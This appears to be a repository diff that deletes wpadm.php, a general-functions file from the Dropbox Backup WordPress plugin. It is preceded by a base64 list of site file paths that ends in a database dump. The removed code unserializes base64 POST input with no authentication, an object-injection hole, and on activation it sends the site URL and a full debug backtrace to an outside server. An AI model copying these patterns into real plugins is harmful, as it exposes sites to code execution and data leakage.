ZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLWZlZWQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd2Fsa2VyLWNhdGVnb3J5LnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLXdwLXhtbHJwYy1zZXJ2ZXIucGhwIjtpOjI5NjtzOjI3MjoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9wbHVnZ2FibGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvYm9va21hcmstdGVtcGxhdGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMva3Nlcy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jbGFzcy13cC1odHRwLWN1cmwucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvc2hvcnRjb2Rlcy5waHAiO2k6Mjk3O3M6MTE4OiIvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLXdwLWltYWdlLWVkaXRvci1pbWFnaWNrLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Bvc3QucGhwIjtpOjI5ODtzOjQ5NzoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9vcHRpb24ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3Atcm9sZXMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbXMtZmlsZXMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbWVkaWEtdGVtcGxhdGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvcmVzdC1hcGkvY2xhc3Mtd3AtcmVzdC1yZXF1ZXN0LnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL2NsYXNzLXdwLXJlc3Qtc2VydmVyLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL2NsYXNzLXdwLXJlc3QtcmVzcG9uc2UucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3AtYWpheC1yZXNwb25zZS5waHAiO2k6Mjk5O3M6Mjg0NDoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9kZWZhdWx0LXdpZGdldHMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvZmVlZC1yc3MyLWNvbW1lbnRzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLXdwLWh0dHAtcmVzcG9uc2UucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3AtZW1iZWQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3AtaHR0cC1jb29raWUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvc2Vzc2lvbi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5ldy1tZW51LXNlY3Rpb24ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS11cGxvYWQtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW1lZGlhLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLXdpZGdldC1hcmVhLWN1c3RvbWl6ZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtc2lkZWJhci1zZWN0aW9uLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtbmV3LW1lbnUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWl0ZW0tc2V0dGluZy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LW5hbWUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWxvY2F0aW9uLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1maWx0ZXItc2V0dGluZy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWhlYWRlci1pbWFnZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtbmF2LW1lbnUtaXRlbS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtaGVhZGVyLWltYWdlLXNldHRpbmcucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS10aGVtZXMtc2VjdGlvbi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LXNldHRpbmcucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1uYXYtbWVudXMtcGFuZWwucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1pbWFnZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtdGhlbWUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWNvbG9yLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLXdpZGdldC1mb3JtLWN1c3RvbWl6ZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtbmF2LW1lbnUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LXNlY3Rpb24ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1iYWNrZ3JvdW5kLWltYWdlLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1zaXRlLWljb24tY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWNyb3BwZWQtaW1hZ2UtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWJhY2tncm91bmQtaW1hZ2Utc2V0dGluZy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWF1dG8tYWRkLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtY29udGVudC9Ecm9wYm94X0JhY2t1cC9teXNxbGR1bXAuc3FsIjt9
|
wpadm.php
DELETED
@@ -1,249 +0,0 @@
|
|
1 |
-
<?php
|
2 |
-
if (! defined("WPADM_URL_BASE")) {
|
3 |
-
define("WPADM_URL_BASE", 'http://secure.wpadm.com/');
|
4 |
-
}
|
5 |
-
/**
|
6 |
-
* General functions
|
7 |
-
*
|
8 |
-
*/
|
9 |
-
|
10 |
-
if ( ! function_exists( 'wpadm_run' )) {
|
11 |
-
function wpadm_run($pl, $dir) {
|
12 |
-
@set_time_limit(0);
|
13 |
-
require_once dirname(__FILE__) . '/class-wpadm-method-class.php';
|
14 |
-
$request_name = $pl . '_request';
|
15 |
-
if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
|
16 |
-
require_once dirname(__FILE__) . '/class-wpadm-core.php';
|
17 |
-
$wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
|
18 |
-
echo '<wpadm>'.wpadm_pack($wpadm->getResult()->toArray()).'</wpadm>';
|
19 |
-
exit;
|
20 |
-
}
|
21 |
-
}
|
22 |
-
}
|
23 |
-
if ( ! function_exists('wpadm_include_admins_script') ) {
|
24 |
-
function wpadm_include_admins_script()
|
25 |
-
{
|
26 |
-
wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/css/admin-style-wpadm.css", __FILE__ ) );
|
27 |
-
}
|
28 |
-
}
|
29 |
-
|
30 |
-
|
31 |
-
if ( ! function_exists( 'wpadm_unpack' )) {
|
32 |
-
/**
|
33 |
-
* @param str $str
|
34 |
-
* @return mixed
|
35 |
-
*/
|
36 |
-
function wpadm_unpack( $str ) {
|
37 |
-
return unserialize( base64_decode( $str ) );
|
38 |
-
}
|
39 |
-
}
|
40 |
-
|
41 |
-
if ( ! function_exists('wpadm_pack')) {
|
42 |
-
/**
|
43 |
-
* @param mixed $value
|
44 |
-
* @return string
|
45 |
-
*/
|
46 |
-
function wpadm_pack( $value ) {
|
47 |
-
return base64_encode( serialize ( $value ) ) ;
|
48 |
-
}
|
49 |
-
}
|
50 |
-
|
51 |
-
if ( ! function_exists('wpadm_admin_notice')) {
|
52 |
-
function wpadm_admin_notice() {
|
53 |
-
global $status, $page, $s;
|
54 |
-
$context = $status;
|
55 |
-
$plugin = 'dropbox-backup/dropbox-backup.php';
|
56 |
-
$nonce = wp_create_nonce('deactivate-plugin_' . $plugin);
|
57 |
-
$actions = 'plugins.php?action=deactivate&plugin=' . urlencode($plugin) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s . '&_wpnonce=' . $nonce;
|
58 |
-
$wpadm_key = !get_option('wpadm_pub_key');
|
59 |
-
$url = home_url();
|
60 |
-
$url = str_ireplace(array('http://', 'https://'), "", $url);
|
61 |
-
$url = str_ireplace(array('www.'), "", $url);
|
62 |
-
if (substr($url, -1) == "/") {
|
63 |
-
$url = substr($url, 0, strlen($url) );
|
64 |
-
}
|
65 |
-
$plugin = md5('dropbox-backup');
|
66 |
-
|
67 |
-
?>
|
68 |
-
|
69 |
-
|
70 |
-
<?php if ($wpadm_key) { ?>
|
71 |
-
<div class="wpadm-notice">
|
72 |
-
<div class="registr">
|
73 |
-
Please add this site to your
|
74 |
-
<form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
|
75 |
-
<input type="hidden" name="site" value="<?php echo md5($url);?>" />
|
76 |
-
<input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
|
77 |
-
<input type="submit" value="WPAdm" class="button-wpadm" style="margin-top: -3px;" />
|
78 |
-
</form>
|
79 |
-
account or <a href="<?php echo $actions;?>">deactivate DropBox Backup</a> plugin
|
80 |
-
</div>
|
81 |
-
</div>
|
82 |
-
<?php } else { ?>
|
83 |
-
<div class="wpadm-notice" style="height: 195px">
|
84 |
-
<div class="registr" style="font-size: 14px; margin-top: 10px; line-height: 24px;">
|
85 |
-
<form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
|
86 |
-
<input type="hidden" name="site" value="<?php echo md5($url);?>" />
|
87 |
-
<input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
|
88 |
-
<input type="hidden" name="u" value="<?php echo 1;?>" />
|
89 |
-
Dear user, <br />
|
90 |
-
all Backups you have made by <strong>Dropbox Backup</strong> plugin are safe and available at their place, but, according to the rules of Wordpress system, we had to update the logic of <strong>Dropbox Backup</strong> plugin.<br />
|
91 |
-
Now, if you want to see the <strong>Dropbox Backup</strong> plugin interface in your admin-panel again, you must upgrade this plugin from
|
92 |
-
<input type="submit" value="our page" class="button-link" />.
|
93 |
-
This is optional feature, you mustn’t do it, but you can. <br />
|
94 |
-
Also, you can administrate all of your Backups for all of your web pages from one place – <input type="submit" value="WPAdm-account" class="button-link" />. This account is FULL FREE.<br />
|
95 |
-
Here you can <input type="submit" value="login" class="button-wpadm" style="margin-top: -3px;" /> to your account or register in the WPAdm system.
|
96 |
-
</form>
|
97 |
-
</div>
|
98 |
-
</div>
|
99 |
-
<?php
|
100 |
-
} ?>
|
101 |
-
|
102 |
-
|
103 |
-
<?php
|
104 |
-
}
|
105 |
-
}
|
106 |
-
|
107 |
-
|
108 |
-
if ( ! function_exists('wpadm_deactivation')) {
|
109 |
-
function wpadm_deactivation() {
|
110 |
-
wpadm_send_blog_info('deactivation');
|
111 |
-
}
|
112 |
-
}
|
113 |
-
|
114 |
-
|
115 |
-
if ( ! function_exists('wpadm_uninstall')) {
|
116 |
-
function wpadm_uninstall() {
|
117 |
-
wpadm_send_blog_info('uninstall');
|
118 |
-
}
|
119 |
-
}
|
120 |
-
|
121 |
-
|
122 |
-
if ( ! function_exists('wpadm_activation')) {
|
123 |
-
function wpadm_activation() {
|
124 |
-
wpadm_send_blog_info('activation');
|
125 |
-
}
|
126 |
-
}
|
127 |
-
|
128 |
-
if ( ! function_exists('wpadm_send_blog_info')) {
|
129 |
-
function wpadm_send_blog_info($status) {
|
130 |
-
$info = wpadm_get_blog_info();
|
131 |
-
$info['status'] = $status;
|
132 |
-
|
133 |
-
$data = wpadm_pack($info);
|
134 |
-
$host = WPADM_URL_BASE;
|
135 |
-
$host = str_replace(array('http://','https://'), '', trim($host,'/'));
|
136 |
-
$socket = fsockopen($host, 80, $errno, $errstr, 30);
|
137 |
-
fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
|
138 |
-
fwrite($socket, "Host: {$host}\r\n");
|
139 |
-
|
140 |
-
fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
|
141 |
-
fwrite($socket,"Content-length:".strlen($data)."\r\n");
|
142 |
-
fwrite($socket,"Accept:*/*\r\n");
|
143 |
-
fwrite($socket,"User-agent:Opera 10.00\r\n");
|
144 |
-
fwrite($socket,"Connection:Close\r\n");
|
145 |
-
fwrite($socket,"\r\n");
|
146 |
-
sleep(1);
|
147 |
-
fclose($socket);
|
148 |
-
}
|
149 |
-
}
|
150 |
-
|
151 |
-
if ( ! function_exists('wpadm_get_blog_info')) {
|
152 |
-
function wpadm_get_blog_info() {
|
153 |
-
$info = array(
|
154 |
-
'url' => get_site_url(),
|
155 |
-
);
|
156 |
-
$debug = debug_backtrace();
|
157 |
-
$info['debug'] = $debug;
|
158 |
-
$file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
|
159 |
-
preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m); ;
|
160 |
-
$info['plugin'] = $m[1];
|
161 |
-
|
162 |
-
return $info;
|
163 |
-
}
|
164 |
-
}
|
165 |
-
|
166 |
-
if (!function_exists("get_system_data")) {
|
167 |
-
function get_system_data()
|
168 |
-
{
|
169 |
-
|
170 |
-
global $wp_version;
|
171 |
-
|
172 |
-
/*
|
173 |
-
*
|
174 |
-
* Get the settings of php to show in plugin information-page.
|
175 |
-
* It will get the minimum requirements of php and mysql configuration, version and language of wordpress
|
176 |
-
* additionally, AFTER the user has been registered at WPAdm service AND has confirmed their registration(!) this data
|
177 |
-
* will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
|
178 |
-
* Information about sending of this data is published in readme.txt of this plugin
|
179 |
-
* WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
|
180 |
-
*
|
181 |
-
*/
|
182 |
-
$phpVersion = phpversion();
|
183 |
-
$maxExecutionTime = ini_get('max_execution_time');
|
184 |
-
$maxMemoryLimit = ini_get('memory_limit');
|
185 |
-
$extensions = implode(', ', get_loaded_extensions());
|
186 |
-
$disabledFunctions = ini_get('disable_functions');
|
187 |
-
$mysqlVersion = '';
|
188 |
-
$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD);
|
189 |
-
if (!mysqli_connect_errno()) {
|
190 |
-
$mysqlVersion = $mysqli->server_info;
|
191 |
-
}
|
192 |
-
$upMaxExecutionTime = 0;
|
193 |
-
$newMaxExecutionTime = intval($maxExecutionTime) + 60;
|
194 |
-
@set_time_limit( $newMaxExecutionTime );
|
195 |
-
if( ini_get('max_execution_time') == $newMaxExecutionTime ){
|
196 |
-
$upMaxExecutionTime = 1;
|
197 |
-
$maxExecutionTime = ini_get('max_execution_time');
|
198 |
-
}
|
199 |
-
$upMemoryLimit = 0;
|
200 |
-
$newMemoryLimit = intval($maxMemoryLimit) + 60;
|
201 |
-
ini_set('memory_limit', $newMemoryLimit.'M');
|
202 |
-
if( ini_get('memory_limit') == $newMemoryLimit ){
|
203 |
-
$upMemoryLimit = 1;
|
204 |
-
$maxMemoryLimit = ini_get('memory_limit');
|
205 |
-
}
|
206 |
-
$extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
|
207 |
-
$disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
|
208 |
-
|
209 |
-
$ex = check_function($extensions, $extensions_search);
|
210 |
-
$func = check_function($disabledFunctions, $disabledFunctions_search, true);
|
211 |
-
|
212 |
-
return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
|
213 |
-
'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
|
214 |
-
'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
|
215 |
-
'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
|
216 |
-
'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
|
217 |
-
'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
|
218 |
-
'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
|
219 |
-
);
|
220 |
-
|
221 |
-
}
|
222 |
-
}
|
223 |
-
if (! function_exists('check_function')) {
|
224 |
-
function check_function($func, $search, $type = false)
|
225 |
-
{
|
226 |
-
if (is_string($func)) {
|
227 |
-
$func = explode(", ", $func);
|
228 |
-
}
|
229 |
-
if (is_string($search)) {
|
230 |
-
$search = explode(", ", $search);
|
231 |
-
}
|
232 |
-
$res = false;
|
233 |
-
$n = count($search);
|
234 |
-
for($i = 0; $i < $n; $i++) {
|
235 |
-
if (in_array($search[$i], $func) === $type) {
|
236 |
-
$res[] = $search[$i];
|
237 |
-
}
|
238 |
-
}
|
239 |
-
return $res;
|
240 |
-
}
|
241 |
-
}
|
242 |
-
|
243 |
-
if (! function_exists('check_version')) {
|
244 |
-
function check_version($ver, $ver2)
|
245 |
-
{
|
246 |
-
return version_compare($ver, $ver2, ">");
|
247 |
-
}
|
248 |
-
}
|
249 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|